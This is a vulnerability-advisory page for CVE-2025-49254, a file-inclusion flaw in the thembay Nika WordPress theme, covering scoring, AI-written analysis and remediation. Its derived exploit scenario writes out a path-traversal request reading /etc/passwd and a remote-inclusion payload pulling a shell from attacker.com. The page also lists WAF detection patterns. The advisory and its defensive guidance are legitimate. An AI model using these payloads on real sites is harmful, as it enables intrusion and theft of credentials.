Skip to main content

PHP EUVDEUVD-2025-18644

| CVE-2025-49254 HIGH
PHP Remote File Inclusion (CWE-98)
2025-06-17 audit@patchstack.com
8.1
CVSS 3.1 · NVD
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V5 - File Handling File inclusion prevention, allowlisting
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Command and Control

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

The CVSS 3.1 score of 8.1 combines a high baseline (Network/Unauthenticated/High Impact on C/I/A) with Attack Complexity High, moderating the overall score. Real-world risk factors: (1) Network-accessible (AV:N) and no authentication required (PR:N) make this easily discoverable and exploitable by automated tools; (2) AC:H suggests exploitation requires specific server configurations (e.g., specific PHP settings, file paths, or conditions) rather than a trivial payload; (3) Confidentiality, Integrity, and Availability all rated High indicates potential for severe impact if exploited—attackers could read sensitive config files, inject malicious code, or trigger denial-of-service; (4) KEV status unknown from provided data, but if not listed, exploitation may not yet be widespread in the wild; (5) POC availability is unknown but likely given the straightforward nature of LFI exploitation. Recommendation: Treat as HIGH priority for WordPress-based deployments using Nika, especially if AC:H factors (e.g., specific PHP configurations) align with your infrastructure. Monitor for patch releases urgently.

Exploit ScenarioDerived

An attacker discovers a WordPress site using Nika theme version 1.2.8 and identifies an unvalidated parameter in a theme template (e.g., a GET parameter like ?file=). The attacker crafts a request such as: GET /wp-content/themes/nika/page.php?file=../../../../etc/passwd HTTP/1.1. Due to AC:H complexity, the attacker may need to enumerate valid file paths or PHP configuration first (e.g., via error messages or directory listing vulnerabilities). Once successful, the server's include() statement processes the attacker-controlled path, reading and returning the contents of /etc/passwd or other sensitive files (wp-config.php containing database credentials, .env files with API keys, etc.). In a more severe scenario, if the server allows remote file inclusion and has allow_url_include enabled, the attacker could include a remote PHP shell: ?file=http://attacker.com/shell.php, achieving Remote Code Execution (RCE). No public POC is confirmed from provided data; however, LFI vulnerabilities are well-documented and readily exploitable with standard tools like curl or Burp Suite.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 14, 2026

PHP Local File Inclusion (LFI) vulnerability in thembay Nika theme versions through 1.2.8, caused by improper control of filename parameters in PHP include/require statements (CWE-98). An unauthenticated remote attacker can exploit this vulnerability over the network to read arbitrary files from the server filesystem, potentially leading to information disclosure, code execution, or system compromise. The CVSS score of 8.1 (High) reflects significant confidentiality and integrity impact, though the AC:H (Attack Complexity: High) rating suggests some exploitation difficulty; KEV status and active exploitation data would further clarify immediate risk priority.

RemediationAI

Immediate Actions: (1) Update thembay Nika theme to the latest version >1.2.8 if available—verify on thembay's website or WordPress.org theme page; (2) If no patch is available, disable or remove the Nika theme and switch to an actively maintained alternative; (3) Implement Web Application Firewall (WAF) rules to detect and block LFI patterns (e.g., ../../../, file://, php://, data://) in request parameters. Code-Level Mitigations (if source is available): (a) Sanitize and validate all user inputs used in file inclusion statements using whitelist approaches (e.g., allowlist of permitted files or directories); (b) Use basename() or realpath() to prevent directory traversal; (c) Disable dangerous PHP settings like allow_url_include and allow_url_fopen if not needed; (d) Implement strict Content Security Policy (CSP) headers to limit resource loading. Workarounds: Restrict file permissions on the web server to limit exposure of sensitive files, and monitor access logs for suspicious file inclusion patterns.

Affected VersionsENISA

Nika n/a ≤1.2.8

Affected Packages

euvd nika no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

This vulnerability exploits improper input validation in PHP file inclusion mechanisms (include(), require(), include_once(), or require_once() statements). CWE-98 specifically addresses the failure to properly sanitize or validate user-supplied input before using it as a filename parameter in these statements. In the thembay Nika WordPress theme (CPE likely: cpe:2.3:a:thembay:nika:*:*:*:*:*:wordpress:*:*), an attacker can manipulate HTTP request parameters to include arbitrary file paths—such as /etc/passwd (Linux) or Windows system files—or remote files if the PHP configuration allows remote file inclusion via stream wrappers (e.g., php://input, data://, or http://). The vulnerability affects versions from an unspecified baseline through 1.2.8, suggesting a regression or long-standing flaw introduced early in the theme's development.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

NVD PRIMARY 8.1 HIGH
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in thembay Nika allows PHP Local File Inclusion. This issue affects Nika: from n/a through 1.2.8.

Executive ViewAI

Why It Matters

A critical PHP file inclusion vulnerability affects thembay Nika theme versions through 1.2.8, potentially allowing attackers to access sensitive files or execute arbitrary code on affected WordPress installations. Organizations using this theme face immediate risk of data breach or website compromise, with no vendor patch currently available to remediate the threat.

Business Impact: High
Compensating Controls

Deploy Web Application Firewall (WAF) rules to detect and block local file inclusion patterns (e.g., requests containing '../', 'file://', or 'php://'); implement strict input validation and whitelisting on theme parameters; disable theme auto-updates and restrict administrator access; segment affected servers from sensitive systems; enable enhanced logging and threat monitoring; consider reverse proxy with request filtering; apply principle of least privilege to file system permissions.

Threat Intelligence Overview

EPSS Score
0.2%
Top 64% exploitable
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Local File Inclusion vulnerabilities occur when an application accepts user-controlled input to specify which file should be loaded or executed, typically through functions like PHP's `include()`, `require()`, or `fopen()`.

Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy